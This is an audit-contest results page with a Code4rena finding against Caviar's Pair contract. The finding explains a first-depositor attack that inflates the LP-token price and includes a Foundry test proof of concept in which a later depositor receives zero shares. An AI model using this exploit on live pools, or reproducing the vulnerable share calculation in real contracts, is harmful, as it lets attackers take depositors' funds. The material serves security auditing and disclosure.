Caviar contest - Koolex's results

A fully on-chain NFT AMM that allows you to trade every NFT in a collection.

General Information

Platform: Code4rena

Start Date: 12/12/2022

Pot Size: $36,500 USDC

Total HM: 8

Participants: 103

Period: 7 days

Judge: berndartmueller

Id: 193

League: ETH

Caviar

Findings Distribution

Researcher Performance

Rank: 98/103

Findings: 1

Award: $6.99

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

6.9881 USDC - $6.99

Labels

bug
3 (High Risk)
satisfactory
duplicate-442

External Links

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L99 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L421

Vulnerability details

Impact

A first depositer can deposit minimum amount of baseToken and fractionalToken then manipulate the baseToken reserves by sending a big amount directly to the Pair contract. Thus, inflating LPToken price. Any further deposits with smaller (but reasonable) amount will result in zero share of LPToken. This occurs due to the the lp token shares calculation that use baseToken reserves as a denominator.

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L421

Proof of Concept

  1. Please create a file named AddVul.t.sol under test/Pair/unit directory and add the following code.:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../../shared/Fixture.t.sol";
import "../../../src/Caviar.sol";
import "../../../script/CreatePair.s.sol";

contract AddTest is Fixture {
    event Add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 lpTokenAmount);


    function setUp() public {
        deal(address(usd), address(this), 1000000*1e18, true);
        deal(address(p), address(this), 1000000*1e18, true);

        usd.approve(address(p), type(uint256).max);    
        }

   function testinfaltingLpTokenPrice() public {
        // arrange
        uint256 _initBaseTokenAmount = 1;
        uint256 _initFractionalTokenAmount = 1;
        uint256 initMinLpTokenAmount = Math.sqrt(_initBaseTokenAmount * _initFractionalTokenAmount);
        uint256 lpTokenAmount = p.add(_initBaseTokenAmount, _initFractionalTokenAmount, initMinLpTokenAmount); // initial add
        console.log('lpTokenAmount of first depositer: %d',lpTokenAmount);
        // first depositer gets one lpToken
        assertEq(lpTokenAmount,1);

        // first depositer transfers big amount of baseToken to inflate the lpToken price
        console.log('baseTokenReserves before: %d',p.baseTokenReserves());
        usd.transfer(address(p),100000*1e18);
        console.log('baseTokenReserves after: %d',p.baseTokenReserves());

        // user babe would like to add 1000*1e18 
        vm.startPrank(babe);
        deal(address(usd), babe, 1000*1e18, true);
        deal(address(p), babe, 1000*1e18, true);
        usd.approve(address(p), type(uint256).max);
        uint256 lpTokenAmount2 = p.add(1000*1e18, 1000*1e18, 0);
        console.log('lpTokenAmount of user babe: %d',lpTokenAmount2);
        // second depositer gets zero lpToken
        assertEq(lpTokenAmount2,0);
        vm.stopPrank();

    }

  

}

  1. Then run the forge test command as follows:
forge test --match-path test/Pair/unit/AddVul.t.sol -vv

Tools Used

Manual analysis

#0 - c4-judge

2022-12-20T14:34:36Z

berndartmueller marked the issue as duplicate of #442

#1 - c4-judge

2023-01-10T09:12:36Z

berndartmueller marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter